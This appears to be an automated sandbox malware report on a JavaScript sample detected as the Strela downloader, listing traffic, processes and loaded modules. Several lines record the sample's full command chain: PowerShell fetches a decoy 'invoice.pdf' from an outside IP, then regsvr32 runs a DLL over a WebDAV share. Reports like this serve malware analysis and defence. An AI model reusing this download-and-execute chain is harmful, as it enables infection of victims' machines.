Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

TCP traffic: 192.168.2.6:49712 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:50422 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2142029528.000002E0B3BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2197395673.000001FB4A035000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2197395673.000001FB49FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2197395673.000001FB49FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/NumQ
Source: net.exe, 00000007.00000002.2197395673.000001FB4A035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/mD
Source: net.exe, 00000007.00000002.2197395673.000001FB4A035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/qD
Source: svchost.exe, 00000009.00000002.3431212193.0000021E2E400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2206559998.0000021E2E170000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5716, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2650280751468214741.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2760:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2uvdlqgk.o3b.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2650280751468214741.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1600,i,16447095256642553858,17174471590947947987,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1600,i,16447095256642553858,17174471590947947987,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
